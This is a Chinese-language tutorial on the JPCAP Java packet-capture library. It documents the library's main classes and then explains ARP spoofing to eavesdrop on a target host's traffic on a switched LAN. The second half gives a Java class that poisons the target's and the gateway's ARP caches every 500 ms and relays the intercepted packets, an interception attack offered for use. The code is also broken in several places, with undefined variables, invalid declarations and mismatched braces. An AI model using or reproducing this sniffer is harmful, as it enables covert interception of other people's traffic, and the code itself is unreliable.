JPCAP——Java中的数据链路层控制

引:众所周知，JAVA语言虽然在TCP/UDP传输方面给予了良好的定义，但对于网络层以下的控制，却是无能为力的。JPCAP扩展包弥补了这一点。

一．JPCAP简介

　　众所周知，JAVA语言虽然在TCP/UDP传输方面给予了良好的定义，但对于网络层以下的控制，却是无能为力的。JPCAP扩展包弥补了这一点。

　　JPCAP实际上并非一个真正去实现对数据链路层的控制，而是一个中间件，JPCAP调用wincap/libpcap，而给JAVA语言提供一个公共的接口，从而实现了平台无关性。在官方网站上声明，JPCAP支持FreeBSD 3.x, Linux RedHat 6.1, Fedora Core 4, Solaris, and Microsoft Windows 2000/XP等系统。

　　 二．JPCAP机制

　　JPCAP的整个结构大体上跟wincap/libpcap是很相像的，例如NetworkInterface类对应wincap的typedef struct _ADAPTERADAPTER，getDeviceList()对应pcap_findalldevs()等等。 JPCAP有16个类，下面就其中最重要的4个类做说明。

　　1．NetworkInterface

　　该类的每一个实例代表一个网络设备，一般就是网卡。这个类只有一些数据成员，除了继承自java.lang.Object的基本方法以外，没有定义其它方法。

数据成员
NetworkInterfaceAddress[]
java.lang.String	datalink_description. 数据链路层的描述。描述所在的局域网是什么网。例如，以太网（Ethernet）、无线LAN网（wireless LAN）、令牌环网(token ring)等等。
java.lang.String	datalink_name  该网络设备所对应数据链路层的名称。具体来说，例如Ethernet10M、100M、1000M等等。
java.lang.String	description 网卡是XXXX牌子XXXX型号之类的描述。例如我的网卡描述：Realtek RTL8169/8110 Family Gigabit Ethernet NIC
boolean	Loopback 标志这个设备是否loopback设备。
byte[]	mac_address 网卡的MAC地址，6个字节。
java.lang.String	Name 这个设备的名称。例如我的网卡名称：/Device/NPF_{3CE5FDA5-E15D-4F87-B217-255BCB351CD5}

　　2．JpcapCaptor

　　该类提供了一系列静态方法实现一些基本的功能。该类一个实例代表建立了一个与指定设备的链接，可以通过该类的实例来控制设备，例如设定网卡模式、设定过滤关键字等等。

数据成员
int	dropped_packets 抛弃的包的数目。
protected int	ID 这个数据成员在官方文档中并没有做任何说明，查看JPCAP源代码可以发现这个ID实际上在其JNI的C代码部分传进来的，这类本身并没有做出定义，所以是供其内部使用的。实际上在对JpcapCator实例的使用中也没有办法调用此数据成员。
protected staticboolean[]	instanciatedFlag 同样在官方文档中没有做任何说明，估计其为供内部使用。
protected staticint	MAX_NUMBER_OF_INSTANCE 同样在官方文档中没有做任何说明，估计其为供内部使用。
int	received_packets 收到的包的数目
方法成员
staticNetworkInterface[]	getDeviceList()  返回一个网络设备列表。
staticJpcapCaptor	openDevice(NetworkInterface interface, intsnaplen, booleanpromisc, intto_ms)  创建一个与指定设备的连接并返回该连接。注意，以上两个方法都是静态方法。 Interface：要打开连接的设备的实例； Snaplen：这个是比较容易搞混的一个参数。其实这个参数不是限制只能捕捉多少数据包，而是限制每一次收到一个数据包，只提取该数据包中前多少字节； Promisc：设置是否混杂模式。处于混杂模式将接收所有数据包，若之后又调用了包过滤函数setFilter()将不起任何作用； To_ms：这个参数主要用于processPacket()方法，指定超时的时间；
void	Close() 关闭调用该方法的设备的连接，相对于openDivece()打开连接。
JpcapSender	getJpcapSenderInstance()  该返回一个JpcapSender实例，JpcapSender类是专门用于控制设备的发送数据包的功能的类。
Packet	getPacket()  捕捉并返回一个数据包。这是JpcapCaptor实例中四种捕捉包的方法之一。
int	loopPacket(intcount, PacketReceiver handler)  捕捉指定数目的数据包，并交由实现了PacketReceiver接口的类的实例处理，并返回捕捉到的数据包数目。如果count参数设为－1，那么无限循环地捕捉数据。 这个方法不受超时的影响。还记得openDivice()中的to_ms参数么？那个参数对这个方法没有影响，如果没有捕捉到指定数目数据包，那么这个方法将一直阻塞等待。 PacketReceiver中只有一个抽象方法void receive(Packet p)。
int	processPacket(intcount, PacketReceiver handler)  跟loopPacket()功能一样，唯一的区别是这个方法受超时的影响，超过指定时间自动返回捕捉到数据包的数目。
int	dispatchPacket(intcount, PacketReceiverhandler) 跟processPacket()功能一样，区别是这个方法可以处于“non-blocking”模式工作，在这种模式下dispatchPacket()可能立即返回，即使没有捕捉到任何数据包。
void	setFilter(java.lang.Stringcondition, booleanoptimize)  .condition：设定要提取的包的关键字。 Optimize：这个参数在说明文档以及源代码中都没有说明，只是说这个参数如果为真，那么过滤器将处于优化模式。
void	setNonBlockingMode(booleannonblocking) 如果值为“true”，那么设定为“non-blocking”模式。
void	breakLoop() 当调用processPacket()和loopPacket()后，再调用这个方法可以强制让processPacket()和loopPacket()停止。

　　3．JpcapSender

　　该类专门用于控制数据包的发送。

方法成员
void	close()  强制关闭这个连接。
staticJpcapSender	openRawSocket() 这个方法返回的JpcapSender实例发送数据包时将自动填写数据链路层头部分。
void	sendPacket(Packet packet)  JpcapSender最重要的功能，发送数据包。需要注意的是，如果调用这个方法的实例是由JpcapCaptor的getJpcapSenderInstance()得到的话，需要自己设定数据链路层的头，而如果是由上面的openRawSocket()得到的话，那么无需也不能设置，数据链路层的头部将由系统自动生成。

　　4．Packet

　　这个是所有其它数据包类的父类。Jpcap所支持的数据包有：
ARPPacket、DatalinkPacket、EthernetPacket、ICMPPacket、IPPacket、TCPPacket、UDPPacket

三．使用JPCAP实现监听

　　1．监听原理　

　　在详细说用JPCAP实现网络监听实现前，先简单介绍下监听的原理。

　　局域网监听利用的是所谓的“ARP欺骗”技术。在以前曾经一段阶段，局域网的布局是使用总线式（或集线式）结构，要到达监听只需要将网卡设定为混杂模式即可，但现在的局域网络普遍采用的是交换式网络，所以单纯靠混杂模式来达到监听的方法已经不可行了。所以为了达到监听的目的，我们需要“欺骗”路由器、“欺骗”交换机，即“ARP欺骗”技术。

　　假设本机为A，监听目标为B。

　　首先，伪造一个ARP REPLY包，数据链路层头及ARP内容部分的源MAC地址填入A的MAC地址，而源IP部分填入网关IP，目的地址填入B的MAC、IP，然后将这个包发送给B，而B接收到这个伪造的ARP REPLY包后，由于源IP为网关IP，于是在它的ARP缓存表里刷新了一项，将（网关IP，网关MAC）刷新成（网关IP，A的MAC）。而B要访问外部的网都需要经过网关，这时候这些要经过网关的包就通通流到A的机器上来了。

　　接着，再伪造一个ARP REPLY包，数据链路层头及ARP内容部分的源MAC地址填入A的MAC地址，而源IP部分填入B的IP，目的地址填入网关MAC、IP，然后将这个包发给网关，网关接收到这个伪造的ARP REPLY包后，由于源IP为B的IP，于是在它的ARP缓存表里刷新了一项，将（B的IP，B的MAC）刷新成（B的IP，A的MAC）。这时候外部传给B的数据包经过网关时，就通通转发给A。

　　这样还只是拦截了B的数据包而已，B并不能上网——解决方法是将接收到的包，除了目的地址部分稍做修改，其它原封不动的再转发出去，这样就达到了监听的目的——在B不知不觉中浏览了B所有的对外数据包。

　　ARP数据包解析

　　单元：Byte

Ethernet头部			ARP数据部分
6	6	2	2	2	2	2	4	6	4	6
目标MAC地址	源地MAC地址	类型号0x0800:ip 0x0806:ARP	局域网类型 以太网0x0001	网络协议类型 IP网络0x0800	MAC/IP地址长度，恒为0x06/04	ARP包类型 REPLY 0x0002	ARP目标IP地址	ARP目标MAC 地址	ARP源IP地址	ARP源MAC地址

　　2．用JPCAP实现监听

　　就如上面说的，为了实现监听，我们必须做四件事：

　　A．发送ARP包修改B的ARP缓存表；

　　B．发送ARP包修改路由ARP缓存表；

　　C．转发B发过来的数据包；

　　D．转发路由发过来的数据包；

　　下面我们给个小小的例子说明怎样实现。

　　我们假定运行这个程序的机器A只有一个网卡，只接一个网络，所在局域网为Ethernet，并且假定已经通过某种方式获得B和网关的MAC地址（例如ARP解析获得）。我们修改了B和网关的ARP表，并对他们的包进行了转发。

public class changeARP{ 　private NetworkInterface[] devices; //设备列表 　private NetworkInterface device; //要使用的设备 　private JpcapCaptor jpcap; //与设备的连接 　private JpcapSender sender; //用于发送的实例 　private byte[] targetMAC, gateMAC; //B的MAC地址，网关的MAC地址 　private byte[] String targetIp, String gateIp; //B的IP地址，网关的IP地址 　/** 　*初始化设备 　* JpcapCaptor.getDeviceList()得到设备可能会有两个，其中一个必定是“Generic  　*dialup adapter”，这是windows系统的虚拟网卡，并非真正的硬件设备。 　*注意：在这里有一个小小的BUG，如果JpcapCaptor.getDeviceList()之前有类似JFrame jf=new 　*JFame（）这类的语句会影响得到设备个数，只会得到真正的硬件设备，而不会出现虚拟网卡。 　*虚拟网卡只有MAC地址而没有IP地址，而且如果出现虚拟网卡，那么实际网卡的MAC将分 　*配给虚拟网卡，也就是说在程序中调用device. mac_address时得到的是00 00 00 00 00 00。 　*/ 　private NetworkInterface getDevice() throws IOException { 　　devices = JpcapCaptor.getDeviceList(); //获得设备列表 　　device = devices[0];//只有一个设备 　　jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000); //打开与设备的连接 　　jpcap.setFilter(“ip”,true); //只监听B的IP数据包 　　sender = captor.getJpcapSenderInstance(); 　} 　/** 　*修改B和网关的ARP表。因为网关会定时发数据包刷新自己和B的缓存表，所以必须每隔一 　*段时间就发一次包重新更改B和网关的ARP表。 　*@参数 targetMAC B的MAC地址，可通过ARP解析得到； 　*@参数 targetIp B的IP地址； 　*@参数 gateMAC 网关的MAC地址； 　*/ 　public changeARP(byte[] targetMAC, String targetIp,byte[] gateMAC, String gateIp) 　throws UnknownHostException,InterruptedException { 　　this. targetMAC = targetMAC; 　　this. targetIp = targetIp; 　　this. gateMAC = gateMAC; 　　this. gateIp = gateIp; 　　getDevice(); 　　arpTarget = new ARPPacket(); //修改B的ARP表的ARP包 　　arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER; //选择以太网类型(Ethernet) 　　arpTarget.prototype = ARPPacket.PROTOTYPE_IP; //选择IP网络协议类型 　　arpTarget.operation = ARPPacket.ARP_REPLY; //选择REPLY类型 　　arpTarget.hlen = 6; //MAC地址长度固定6个字节 　　arpTarget.plen = 4; //IP地址长度固定4个字节 　　arpTarget.sender_hardaddr = device.mac_address; //A的MAC地址 　　arpTarget.sender_protoaddr = InetAddress.getByName(gateIp).getAddress(); //网关IP 　　arpTarget.target_hardaddr = targetMAC; //B的MAC地址 　　arpTarget.target_protoaddr = InetAddress.getByName(targetIp).getAddress(); //B的IP 　　EthernetPacket ethToTarget = new EthernetPacket(); //创建一个以太网头 　　ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP;//选择以太包类型 　　ethToTarget.src_mac = device.mac_address; //A的MAC地址 　　ethToTarget.dst_mac = targetMAC; //B的MAC地址 　　arpTarget.datalink = ethToTarget; //将以太头添加到ARP包前 　　arpGate = new ARPPacket(); //修改网关ARP表的包 　　arpGate.hardtype = ARPPacket.HARDTYPE_ETHER; //跟以上相似，不再重复注析 　　arpGate.prototype = ARPPacket.PROTOTYPE_IP; 　　arpGate.operation = ARPPacket.ARP_REPLY; 　　arpGate.hlen = 6; 　　arpGate.plen = 4; 　　arpGate.sender_hardaddr = device.mac_address; 　　arpGate.sender_protoaddr = InetAddress.getByName(targetIp).getAddress(); 　　arpGate.target_hardaddr = gateMAC; 　　arpGate.target_protoaddr = InetAddress.getByName(gateIp).getAddress(); 　　EthernetPacket ethToGate = new EthernetPacket(); 　　ethToGate.frametype = EthernetPacket.ETHERTYPE_ARP; 　　ethToGate.src_mac = device.mac_address; 　　ethToGate.dst_mac = gateMAC; 　　arpGate.datalink = ethToGate; 　　thread=new Thread(new Runnable(){ //创建一个进程控制发包速度 　　public void run() { 　　　while (true) { 　　　　sender.sendPacket(arpTarget); 　　　　sender.sendPacket(arpGate); 　　　　Thread.sleep(500); 　　　}).start(); 　　　recP(); //接收数据包并转发 　　} 　　/** 　　*修改包的以太头，转发数据包 　　*参数 packet 收到的数据包 　　*参数 changeMAC 要转发出去的目标 　　*/ 　　private void send(Packet packet, byte[] changeMAC) {  　　　EthernetPacket eth; 　　　if (packet.datalink instanceof EthernetPacket) { 　　　　eth = (EthernetPacket) packet.datalink; 　　　　for (int i = 0; i < 6; i++) { 　　　　　eth.dst_mac[i] = changeMAC[i]; //修改包以太头，改变包的目标 　　　　　eth.src_mac[i] = device.mac_address[i]; //源发送者为A 　　　　} 　　　　sender.sendPacket(packet); 　　　} 　　} 　　/** 　　*打印接受到的数据包并转发 　　*/ 　　public void recP(){ 　　　IPPacket ipPacket = null; 　　　while(true){ 　　　　ipPacket = （IPPacket）jpcap.getPacket(); 　　　　System.out.println(ipPacket); 　　　　if (ipPacket.src_ip.getHostAddress().equals(targetIp)) 　　　　　send(packet, gateMAC); 　　　　else 　　　　　send(packet, targetMAC); 　　　} 　　}

　　注意：这个例子只是为了说明问题，并没有考虑到程序的健壮性，所以并不一定能在任何一台机器任何一个系统上运行。